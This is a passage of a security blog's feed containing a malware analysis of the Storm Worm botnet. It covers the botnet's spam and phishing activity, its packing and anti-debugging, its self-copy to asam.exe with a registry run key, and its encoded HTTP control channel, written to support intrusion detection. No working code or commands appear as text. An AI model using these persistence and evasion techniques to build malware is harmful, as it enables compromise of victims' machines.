&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;In the&lt;a href=&quot;http://extreme-security.blogspot.in/?zx=e98aaa923b33f74b&quot;&gt; next&lt;/a&gt; part of this blog , I will talk about Darkness , Another highly prevalent DDoS Botnet on the Internet&lt;/span&gt;&lt;span style=&quot;font-size: 16px; letter-spacing: 1px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2012/08/inside-ddos-botnets-blackenergy-and.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRaHTtgqyYcnoPAFO2IXAFeDbEqXk4_9WdO57f0hdXY4EiD1vvVqjS2QHniRw8CtMrOeJexjDGeIwB3_k0FeAekjNblam27e4AEebcdYiRp8XqtazYlDxg2mpFgXsSwkJluKseeLPG75Y/s72-c/1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-7430885552837913846</guid><pubDate>Sun, 23 Jan 2011 07:44:00 +0000</pubDate><atom:updated>2014-06-04T23:27:09.177+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Botnet Research</category><title>Dissecting The Storm Worm</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; line-height: 15px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline;&quot;&gt;
The Storm worm marked its presence in early 2007 and became an infamous robot network primarily known for its spamming and phishing activities.&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
Also known as &amp;nbsp;Nuwar / Zhelatin / FakeAV / Peacomm, this bot reappeared early this year, distributed by fake AV &amp;nbsp; software &amp;nbsp;and Trojan downloaders. Storm is a major botnet when compared &amp;nbsp;with &amp;nbsp;many other spamming bots, due to the massive volumes of spam it sends from the victim’s machine. It also uses a fast-flux mechanism to hide its distribution areas. During our static analysis of the Storm executable, we observed it to be heavily obfuscated with an unknown packer and an infinite loop to halt its activity whenever it detects a debugging or virtual machine environment.&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;Storm’s spam campaign activity includes a variety of spam, with most related to online pharmacy scams and adult products. This botnet also includes malicious links to URLs that exploit several client vulnerabilities.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline;&quot;&gt;
&lt;div style=&quot;font-weight: inherit;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;Our analysis of Storm confirmed and uncovered some of its unique characteristics, which help network intrusion prevention systems to implement reliable detection mechanisms for Storm’s control activity.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: inherit;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;&lt;u&gt;Static analysis of Storm Worm binary&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;We looked inside the variant we received in April 2010. In the initial part, this sample has various decryption routines. This binary starts with moving 0×5090 bytes to the heap and thereafter executing decryption routines to unpack the binary in stages.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaQ3A1SZpHN-fxLAhgcm11nh5hUvGNy2zd33a9kO6CBj2ao-3-DeM6HX00TXDr9z47ekhDuwRCSvXb9OKFob92w44Hm8WY7ISPdZ9PrDOLP6uH20tPnokRAW8XeOikIubR-cflQ3KR7P0/s1600/unpack_1.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaQ3A1SZpHN-fxLAhgcm11nh5hUvGNy2zd33a9kO6CBj2ao-3-DeM6HX00TXDr9z47ekhDuwRCSvXb9OKFob92w44Hm8WY7ISPdZ9PrDOLP6uH20tPnokRAW8XeOikIubR-cflQ3KR7P0/s320/unpack_1.PNG&quot; height=&quot;124&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHmZVP8Y1FLp4gRAJI6qWybF43NBRT5wLptCfWDlL4PeaA7JJKLNcXiIdwjZOEBRv-RhyphenhyphenkDPv4-7patMh5WD9Cd65y7pwktcZ7ymugstCVJqj1fLNV4RgzhHC-e-6UqBq2TPYskSTwgkA/s1600/unpack_2.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHmZVP8Y1FLp4gRAJI6qWybF43NBRT5wLptCfWDlL4PeaA7JJKLNcXiIdwjZOEBRv-RhyphenhyphenkDPv4-7patMh5WD9Cd65y7pwktcZ7ymugstCVJqj1fLNV4RgzhHC-e-6UqBq2TPYskSTwgkA/s320/unpack_2.PNG&quot; height=&quot;48&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;After a complete execution of the loop, the binary is moved to the heap section and then decrypted:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiTnk1ubescsAIAItIzq4qUS0XGBd7m59DE1A7KwzdQGwo2xHRqoK5iVOSNMPWPixE4Amgcy3BXINSCDeqE0ht8dR0TfEzgBK9OoVYJ1c6-ZnzHMesTfETsMUd66fN1m7C0iZX7TjXon4/s1600/unpack_3.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiTnk1ubescsAIAItIzq4qUS0XGBd7m59DE1A7KwzdQGwo2xHRqoK5iVOSNMPWPixE4Amgcy3BXINSCDeqE0ht8dR0TfEzgBK9OoVYJ1c6-ZnzHMesTfETsMUd66fN1m7C0iZX7TjXon4/s320/unpack_3.PNG&quot; height=&quot;65&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;This executable then copies itself as&amp;nbsp;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;asam.exe&lt;/strong&gt;&amp;nbsp;into c:\windows, modifies the registry key to execute at Windows start-up, creates the process&amp;nbsp;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;asam.exe,&lt;/strong&gt;&amp;nbsp;and terminates itself.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvLWGcjSeNGLV7znBIvepN04F2-sBGPm_-MrlAScTgPBP2MpM0mTI5Ptp1DCIN_tZbMKXaEx9VcrqNuzTlEnucrtCO59q5Pl4z-ifk_jwdulwcvAzJ2c08RFie9vNzY4zXk1NQDu9bklA/s1600/unpack_4.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvLWGcjSeNGLV7znBIvepN04F2-sBGPm_-MrlAScTgPBP2MpM0mTI5Ptp1DCIN_tZbMKXaEx9VcrqNuzTlEnucrtCO59q5Pl4z-ifk_jwdulwcvAzJ2c08RFie9vNzY4zXk1NQDu9bklA/s320/unpack_4.PNG&quot; height=&quot;218&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;u&gt;Analysis of the HTTP Communications Code Within the dropped file asam.exe&lt;/u&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;We reverse-engineered this Storm file and came across some of the unique characteristics of its control channel, which is based on base64-encoded, gzipped HTTP data. The code snippets below reveal our analysis of its HTTP communications.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;em style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-weight: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;URI Extensions in the POST Request:&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit; font-style: inherit;&quot;&gt;Hard-coded URI extensions and the URI length that is used in the POST request initiated by Storm:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; line-height: 15px; text-align: center;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFn_nsvf2Xsfd6xpNio1UkFx-RtEkFObw9c4Qahn1hN5C9IHEKot2zUcdBnr3rWFTv43HB7h7So22EGecO4bjIb-sH4DlFErXE4blaN9vnOOnQ7uoWCZLwEJAcVswHSMkaBT8rHf8hInw/s1600/unpack_5.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFn_nsvf2Xsfd6xpNio1UkFx-RtEkFObw9c4Qahn1hN5C9IHEKot2zUcdBnr3rWFTv43HB7h7So22EGecO4bjIb-sH4DlFErXE4blaN9vnOOnQ7uoWCZLwEJAcVswHSMkaBT8rHf8hInw/s320/unpack_5.PNG&quot; height=&quot;131&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
